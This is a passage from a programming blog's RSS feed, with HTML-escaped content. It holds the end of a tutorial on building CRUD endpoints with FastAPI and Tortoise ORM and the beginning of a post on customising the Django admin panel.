style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; tortoise.contrib.fastapi &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; HTTPNotFoundError, register_tortoise&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; tortoise.contrib.pydantic &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; pydantic_model_creator&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;app &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; FastAPI()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;job_pydantic &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; pydantic_model_creator(Job)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;@app.get&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;async&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;read_root&lt;/span&gt;():&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; {&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Hello&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;World&amp;#34;&lt;/span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;@app.post&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/job/create/&amp;#34;&lt;/span&gt;, status_code&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;201&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;async&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;create_job&lt;/span&gt;(name&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;Form(&lt;span style=&#34;color:#ff6ac1&#34;&gt;...&lt;/span&gt;), description&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;Form(&lt;span style=&#34;color:#ff6ac1&#34;&gt;...&lt;/span&gt;)):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    job &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;await&lt;/span&gt; Job&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;create(name&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;name, description&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;description)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;await&lt;/span&gt; job_pydantic&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;from_tortoise_orm(job)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;register_tortoise(&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    app,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    db_url&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;sqlite://db.sqlite3&amp;#34;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    modules&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;{&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;models&amp;#34;&lt;/span&gt;: [&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;app.models&amp;#34;&lt;/span&gt;]},&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    add_exception_handlers&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And to get our object in JSON we call the method to the &lt;em&gt;from_tortoise_orm()&lt;/em&gt; method of the object we just created.&lt;/p&gt;&#xA;&lt;p&gt;Remember to prefix the word &lt;em&gt;await&lt;/em&gt; or what you will return is a &lt;em&gt;corroutine&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;h2 id=&#34;obtain-a-list-of-objects-from-a-queryset&#34;&gt;Obtain a list of objects from a queryset&lt;/h2&gt;&#xA;&lt;p&gt;We will use the &lt;strong&gt;get()&lt;/strong&gt; method of our fastAPI instance.&lt;/p&gt;&#xA;&lt;p&gt;To obtain a list of objects we use the &lt;em&gt;all()&lt;/em&gt; method and serialize the result with &lt;em&gt;from_queryset()&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# main.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;@app.get&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/jobs/&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;async&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;get_jobs&lt;/span&gt;():&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;await&lt;/span&gt; job_pydantic&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;from_queryset(Job&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;all())&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/fastapi/python-tortoise-orm-integration-with-fastapi/images/ListadoDeObjetosTortoise.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/fastapi/python-tortoise-orm-integration-with-fastapi/images/ListadoDeObjetosTortoise.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Getting a list of objects using fastAPI and tortoise ORM&#34; width=&#34;1484&#34; height=&#34;776&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;updating-an-object-with-tortoise&#34;&gt;Updating an object with tortoise&lt;/h2&gt;&#xA;&lt;p&gt;Now &lt;strong&gt;create an endpoint that receives an id and is decorated with the &lt;em&gt;put()&lt;/em&gt;&lt;/strong&gt; method. We pass as response_model the job_pydantic object, &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://fastapi.tiangolo.com/tutorial/response-model/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;to validate the data input, include it in the documentation and limit the response to modifiable fields&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;p&gt;We will also create a second job_pydantic object, i.e. another serializer, which excludes the read-only fields (our primary key), to return them without id.&lt;/p&gt;&#xA;&lt;p&gt;And, to update an object, we use the fastAPI put method and receive the id of the object to edit. Then we filter those objects that match the id with &lt;em&gt;Job.filter()&lt;/em&gt; and then call its &lt;em&gt;update()&lt;/em&gt; method. Since the id is unique, as it is a primary key, only the object whose id matches the data we send will be edited.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# main.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;job_pydantic &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; pydantic_model_creator(Job)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;job_pydantic_no_ids &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; pydantic_model_creator(Job, exclude_readonly&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;@app.put&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/job/&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;{job_id}&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;&lt;/span&gt;, response_model&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;job_pydantic, responses&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;{&lt;span style=&#34;color:#ff9f43&#34;&gt;404&lt;/span&gt;: {&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;model&amp;#34;&lt;/span&gt;: HTTPNotFoundError}})&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;async&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;update_job&lt;/span&gt;(job_id: &lt;span style=&#34;color:#ff5c57&#34;&gt;int&lt;/span&gt;, job: job_pydantic):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;await&lt;/span&gt; Job&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;filter(&lt;span style=&#34;color:#ff5c57&#34;&gt;id&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;job_id)&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;update(&lt;span style=&#34;color:#ff6ac1&#34;&gt;**&lt;/span&gt;job&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;dict())&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;await&lt;/span&gt; job_pydantic_no_ids&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;from_queryset_single(Job&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;get(&lt;span style=&#34;color:#ff5c57&#34;&gt;id&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;job_id))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/fastapi/python-tortoise-orm-integration-with-fastapi/images/ActualizacionDeUnObjetoTortoise.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/fastapi/python-tortoise-orm-integration-with-fastapi/images/ActualizacionDeUnObjetoTortoise.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Updating an object using tortoise and fastAPI&#34; width=&#34;1513&#34; height=&#34;1001&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;obtain-an-object-with-tortoise&#34;&gt;Obtain an object with tortoise&lt;/h2&gt;&#xA;&lt;p&gt;Now we can apply the same method as in the previous section. This time &lt;strong&gt;we will need an id and the fastAPI&amp;rsquo;s &lt;em&gt;get()&lt;/em&gt; method&lt;/strong&gt;. We pass it the &lt;em&gt;response_model&lt;/em&gt; to take care of the validation and define that the only parameter we will use will be the id, with which we will use the &lt;em&gt;from_queryset_single&lt;/em&gt;() method on the result of the ORM query: Job.ge_t(id=job_id)_.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# main.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;@app.get&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/job/&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;{job_id}&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;&lt;/span&gt;, response_model&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;job_pydantic, responses&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;{&lt;span style=&#34;color:#ff9f43&#34;&gt;404&lt;/span&gt;: {&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;model&amp;#34;&lt;/span&gt;: HTTPNotFoundError}})&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;async&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;get_job&lt;/span&gt;(job_id: &lt;span style=&#34;color:#ff5c57&#34;&gt;int&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;await&lt;/span&gt; job_pydantic_no_ids&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;from_queryset_single(Job&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;get(&lt;span style=&#34;color:#ff5c57&#34;&gt;id&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;job_id))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/fastapi/python-tortoise-orm-integration-with-fastapi/images/ObtenerUnObjetoTortoise.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/fastapi/python-tortoise-orm-integration-with-fastapi/images/ObtenerUnObjetoTortoise.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Obtaining an object using fastAPI and swagger&#34; width=&#34;1478&#34; height=&#34;771&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;remove-an-object-with-tortoise&#34;&gt;Remove an object with tortoise&lt;/h2&gt;&#xA;&lt;p&gt;To delete an object we will also &lt;strong&gt;need an id and call fastAPI&amp;rsquo;s &lt;em&gt;delete()&lt;/em&gt;&lt;/strong&gt; method, so the function would look like this:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# main.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Status&lt;/span&gt;(BaseModel):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    message: &lt;span style=&#34;color:#ff5c57&#34;&gt;str&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;@app.delete&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/job/&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;{job_id}&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;&lt;/span&gt;, response_model&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;Status, responses&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;{&lt;span style=&#34;color:#ff9f43&#34;&gt;404&lt;/span&gt;: {&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;model&amp;#34;&lt;/span&gt;: HTTPNotFoundError}})&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;async&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;delete_job&lt;/span&gt;(job_id: &lt;span style=&#34;color:#ff5c57&#34;&gt;int&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    deleted_job &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;await&lt;/span&gt; Job&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;filter(&lt;span style=&#34;color:#ff5c57&#34;&gt;id&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;job_id)&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;delete()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;not&lt;/span&gt; deleted_job:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;raise&lt;/span&gt; HTTPException(status_code&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;404&lt;/span&gt;, detail&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Job &lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;{&lt;/span&gt;job_id&lt;span style=&#34;color:#5af78e&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt; not found&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; Status(message&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Deleted job &lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;{&lt;/span&gt;job_id&lt;span style=&#34;color:#5af78e&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We filter by the id we get in the url and, if we find the object, we delete it, in case the id of that object does not exist we will return a 404 error through an exception. In case it does, we will no longer return the object, but it will be enough that we return a message warning that the id was deleted.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/fastapi/python-tortoise-orm-integration-with-fastapi/images/BorrarUnObjetoTortoise.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/fastapi/python-tortoise-orm-integration-with-fastapi/images/BorrarUnObjetoTortoise.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Deletion of an object using fastAPI and swagger&#34; width=&#34;1468&#34; height=&#34;1010&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;And with that we can perform basic CRUD operations in fastAPI using tortoise as ORM. In this entry I haven&amp;rsquo;t discussed foreign keys, foreign key fields, many to many, or other kinds of relationships between models. I will probably make a future post about that, in the meantime you can read &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://tortoise.github.io/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;the official tortoise documentation&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;One of the things I like most about Django is its ORM; &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/why-should-you-use-django-framework/&#34;&gt;one of the reasons why this framework is so popular&lt;/a&gt;&#xA;. On the other hand FastAPI does not have an ORM and focuses solely on serving endpoints, showing agnostic on the basis of data. There are enough options ORM to python: django-alchemy, peewee, ponyORM, tortoise. The latter, besides being asynchronous, is inspired by the django ORM, so its syntax is quite similar, even many tortoise functions share name with its Django counterpart, so users who use the Django ORM will save a lot of time learning tortoise functions.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>The django admin panel and its customization</title>
      <link>https://coffeebytes.dev/en/django/the-django-admin-panel-and-its-customization/</link>
      <pubDate>Tue, 14 Sep 2021 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/django/the-django-admin-panel-and-its-customization/</guid>
      
      <category>django</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;One of the best features of django is that it has the django admin panel, a ready-to-use administration panel, with basic functions such as create, read, edit and delete models, users, groups and permissions. All ready to use just by setting up your application. But sometimes our needs are different, what if we want to modify the appearance or functions of the interface? Fortunately Django includes many functions to customize the behavior of the admin, I will explain some of them below.&lt;/p&gt;&#xA;&lt;p&gt;The django admin panel is so well designed, and it works out of the box, is definitely one of the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/why-should-you-use-django-framework/&#34;&gt;reasons why you should consider using Django&lt;/a&gt;&#xA; instead of other frameworks.&lt;/p&gt;&#xA;&lt;h2 id=&#34;checking-that-django-admin-panel-is-active&#34;&gt;Checking that django admin panel is active&lt;/h2&gt;&#xA;&lt;p&gt;If you started your project with the startproject command, the django administration panel will be activated by default. If you go to &lt;em&gt;/admin/&lt;/em&gt; the login screen will appear.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/the-django-admin-panel-and-its-customization/images/django-admin-panel.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/the-django-admin-panel-and-its-customization/images/django-admin-panel.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Administration panel login screen&#34; width=&#34;800&#34; height=&#34;500&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;django admin panel screen&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;If not, or if you start from a previous installation, you must first make sure that it is installed in your configuration file, as well as its dependencies:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;django.contrib.auth&lt;/li&gt;&#xA;&lt;li&gt;django.contrib.contenttypes&lt;/li&gt;&#xA;&lt;li&gt;django.contrib.messages&lt;/li&gt;&#xA;&lt;li&gt;django.contrib.sessions&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;After all, if you can&amp;rsquo;t authenticate or log in, you won&amp;rsquo;t be able to enter the administration panel, will you?&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      